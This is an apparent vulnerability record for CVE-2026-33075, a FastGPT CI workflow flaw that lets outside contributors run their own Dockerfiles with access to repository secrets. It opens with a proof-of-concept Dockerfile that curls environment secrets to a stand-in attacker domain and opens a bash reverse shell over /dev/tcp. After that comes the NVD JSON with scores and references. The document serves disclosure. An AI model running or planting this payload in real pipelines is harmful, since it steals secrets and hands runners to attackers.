CVE-2026-33075

# Malicious Dockerfile Example # Attacker modifies this file in the PR to steal secrets FROM alpine:latest # Install curl to exfiltrate data RUN apk add --no-cache curl # Copy GitHub context (contains potential secrets if exposed) COPY . /app # Exfiltrate repository secrets to attacker controlled server # Note: GITHUB_TOKEN or other secrets might be injected as env vars or accessible via files RUN curl -X POST -H "Content-Type: application/json" \ -d "$(env | grep -i secret || cat /proc/self/environ)" \ https://attacker-controlled-domain.com/exfil # Reverse shell to gain control of the runner RUN apk add --no-cache bash && \ bash -c 'bash -i >& /dev/tcp/attacker-controlled-domain.com/4444 0>&1' &

{"cve": {"id": "CVE-2026-33075", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:15.877", "lastModified": "2026-03-23T15:42:34.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. In versions 4.14.8.3 and below, the fastgpt-preview-image.yml workflow is vulnerable to arbitrary code execution and secret exfiltration by any external contributor. It uses pull_request_target (which runs with access to repository secrets) but checks out code from the pull request author's fork, then builds and pushes Docker images using attacker-controlled Dockerfiles. This also enables a supply chain attack via the production container registry. A patch was not available at the time of publication."}, {"lang": "es", "value": "FastGPT es una plataforma de creación de agentes de IA. En las versiones 4.14.8.3 e inferiores, el flujo de trabajo fastgpt-preview-image.yml es vulnerable a la ejecución de código arbitrario y a la exfiltración de secretos por cualquier colaborador externo. Utiliza pull_request_target (que se ejecuta con acceso a los secretos del repositorio) pero extrae código del fork del autor de la solicitud de extracción, luego construye y envía imágenes Docker utilizando Dockerfiles controlados por el atacante. Esto también permite un ataque a la cadena de suministro a través del registro de contenedores de producción. Un parche no estaba disponible en el momento de la publicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-494"}, {"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.14.8.3", "matchCriteriaId": "67E11077-E8F5-4C62-90A3-27D47A89D7C6"}]}]}], "references": [{"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-xfx8-w35j-485c", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}